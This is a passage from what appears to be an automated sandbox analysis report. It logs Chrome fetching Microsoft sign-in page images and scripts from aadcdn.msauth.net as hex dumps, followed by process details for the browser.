2024-05-07 18:32:12 UTC	15640	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH (00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-05-07 18:32:12 UTC	1534	IN	Data Raw: 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49856	13.107.213.40	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:12 UTC	662	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:32:12 UTC	805	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:12 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: 9206ac9b-101e-006f-62fd-9b2ea3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183212Z-17455988649m5nt597ac8an8c400000008xg0000000008db x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:32:12 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/ dnGyl ETuF?$is sCwi$rCTUFuSre~Gq~Mmu}0=&~ eWLXX%pi 7+? WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49855	13.107.213.40	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:12 UTC	663	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:32:12 UTC	785	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:12 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: bce6c520-901e-005b-492f-a0a3ba000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183212Z-1587864896blkgqhngm8n7pubc000000022000000000k889 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:32:12 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ {&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49854	13.107.213.40	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:12 UTC	663	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:32:12 UTC	799	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:12 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49ED96E0 x-ms-request-id: 7d85907a-301e-006d-751c-9d78a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183212Z-17455988649d2dtgexkwmnrsp000000008vg000000003m7s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:32:12 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$ UAWUaX `'= \|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\ sfUN B>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49858	13.107.213.40	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:12 UTC	624	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_ea3e62a2bdfb2b2ee8c8.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:32:12 UTC	798	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:12 GMT Content-Type: application/x-javascript Content-Length: 35807 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 28 Mar 2024 21:22:22 GMT ETag: 0x8DC4F6D2855897D x-ms-request-id: ff96a516-c01e-006a-5cac-a0a9a9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183212Z-1587864896bpksm4ns5nvzh25800000008hg00000000nxv0 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 18:32:12 UTC	15586	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e4 bd 7b 7f db 38 92 28 fa ff f9 14 b6 a6 c7 11 db b4 2c ea 2d db 8c c7 f1 a3 93 99 a4 93 cd a3 67 67 6c 75 86 a2 20 89 6d 8a 94 49 ca 8f c4 de cf 7e ab 0a 6f 52 76 92 d9 b3 e7 dc df bd 99 69 9a 28 14 0a 85 02 50 28 14 0a d4 ee cf 9b ff 6b e3 e7 8d 9d ef ff b7 f1 e1 e3 d1 fb 8f 1b 6f cf 36 3e be 7c f5 fe 64 e3 1d a4 fe b1 f1 eb db 8f af 8e 4f bf 9f 0e 56 8a ff 7d 9c 47 f9 c6 34 8a d9 06 fc 1d 07 39 9b 6c a4 c9 46 9a 6d 44 49 98 66 cb 34 0b 0a 96 6f 2c e0 99 45 41 bc 31 cd d2 c5 46 31 67 1b cb 2c fd 83 85 45 be 11 47 79 01 85 c6 2c 4e 6f 36 ea 40 2e 9b 6c bc 0b b2 e2 6e e3 d5 3b a7 01 f4 19 50 8b 66 51 02 a5 c3 74 79 07 ef f3 62 23 49 8b 28 64 1b 41 32 21 6a 31 24 92 9c 6d ac 92 09 cb 36 6e e6 51 38 df 78 13 85 59 9a a7 d3 62 Data Ascii: {8(,-gglu mI~ oRvi( P( ko6>\|dOV}G49lFmDIf4 o,EA1F1g,EGy,No6@.ln;PfQtyb#I(dA2!j1$m 6nQ8xYb
2024-05-07 18:32:12 UTC	16384	IN	Data Raw: 66 c9 c2 fe 50 de 71 12 52 09 48 4e bd bc f2 11 45 bc 58 21 ba a2 47 46 d5 87 97 e6 af 5f 11 4f 73 f3 f7 af 86 84 a3 31 06 1c 43 e5 d3 a0 c4 43 e7 b5 9f 64 a7 9c b5 d7 b5 cb a7 d7 6d 09 5b e7 3c 25 32 eb 0d 1f ca b2 bf ed 4e 37 11 f3 b9 f8 9d 1f 1c 80 1f a2 99 fa e2 23 d9 37 b9 01 08 15 60 2a 21 2d 09 b9 b6 21 fa f4 8d 27 8d 80 ec 80 43 d4 91 7a 5b a4 af 4a 00 f5 19 6a 26 d2 72 22 d0 8e d0 fc ce dc 44 a4 d5 05 cb 29 07 a8 50 6b 3a fe 00 80 b9 24 74 38 c8 fc 22 1c b1 5e fe fc 03 7d 77 95 ff 1c 97 1c 6a d4 b3 08 5e 3b 28 17 41 3e 97 73 98 36 b7 f9 c2 fe 92 32 d5 5c ee d0 45 24 e9 b7 05 40 7d c4 21 e0 49 e5 02 0b 45 5a 05 72 85 ea e6 ce 87 b7 67 1f f5 08 24 c4 74 5a e8 31 c8 21 b1 e1 ed 9f 0a 88 d4 db 1d 9e 86 e4 2e d2 ab 1c 24 11 33 95 15 98 4a 2d 03 e5 57 Data Ascii: fPqR HNEX!GF_Os1CCdm [<%2 N7#7`*!- !'Cz[Jj&r"D)Pk:$t8"^}wj^;(A>s62\E$@}!IEZrg$tZ1! .$3J-W
2024-05-07 18:32:12 UTC	3837	IN	Data Raw: 17 cd cb 3d 86 54 93 33 e4 69 3e 41 20 99 a1 3a 91 6e 8f 2f 05 1f ca 6d 37 d1 44 fb 64 33 57 21 db 53 92 9a 56 e6 56 5f cc cc b0 a0 c3 cd 13 45 b4 ef b2 20 ad 33 4a 9a e0 a2 2a 96 2b 7c 66 c5 f8 96 33 d4 94 d1 79 70 64 d4 79 07 c6 18 d6 fa a7 34 05 2e ec 8d 85 fb 57 b8 78 f8 bc b5 8f 3e c7 44 4f 8e 32 38 7d ac fd a3 da 1b 27 70 de d4 3a 47 6f 9c 2d e2 f2 64 32 63 b8 0c 88 8b c7 0b 7d 7f c7 af ac 18 ae a0 6a 96 40 68 9b 6a 39 b9 e7 01 e4 ce 8f 49 b7 8d d1 2d 45 d7 f0 8b 8b b0 a1 a7 3d b3 fd d6 3b 82 8e 00 63 57 ee f4 ac 4f 7c 9f 4f a5 bc af 6c 75 25 4b 30 78 2a ce 00 48 95 68 dd 1e 24 c6 5b 2c 9f 3d 95 dc d9 59 48 71 3b da c7 0a 1b 2f 05 07 45 9d b7 42 fd 4c 3b 54 15 e9 66 50 a0 96 7a 7f dc db 24 9c 5b d8 45 29 df c7 82 f2 c5 d3 3e 74 b4 e7 81 ec b1 ca 6a Data Ascii: =T3i>A :n/m7Dd3W!SVV_E 3J+\|f3ypdy4.Wx>DO28}'p:Go-d2c}j@hj9I-E=;cWO\|Olu%K0xHh$[,=YHq; /EBL;TfPz$[E)>tj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49860	13.107.213.40	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:12 UTC	417	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:32:12 UTC	784	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:12 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: e17873e1-a01e-006c-44a8-9f53a5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183212Z-1587864896blkgqhngm8n7pubc000000026g000000006ufp x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:32:12 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/ dnGyl ETuF?$is sCwi$rCTUFuSre~Gq~Mmu}0=&~ eWLXX%pi 7+? WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49861	13.107.213.40	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:12 UTC	418	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:32:12 UTC	806	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:12 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: 5693388c-701e-0069-7e8b-a0d4af000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183212Z-1587864896bpksm4ns5nvzh25800000008rg000000006vsm x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:32:12 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ {&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49859	13.107.213.40	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:12 UTC	418	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:32:12 UTC	805	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:12 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49ED96E0 x-ms-request-id: 38a0d1c3-d01e-000b-2a74-9fc089000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183212Z-1587864896bvq5l6g29xrhynd800000000g000000000v7h7 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:32:12 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$ UAWUaX `'= \|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\ sfUN B>d-zx2LrRr)JFz;Lh

Target ID:	0
Start time:	20:30:56
Start date:	07/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	20:30:59
Start date:	07/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2000,i,11320093848414894593,13025177636891857523,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	20:31:01
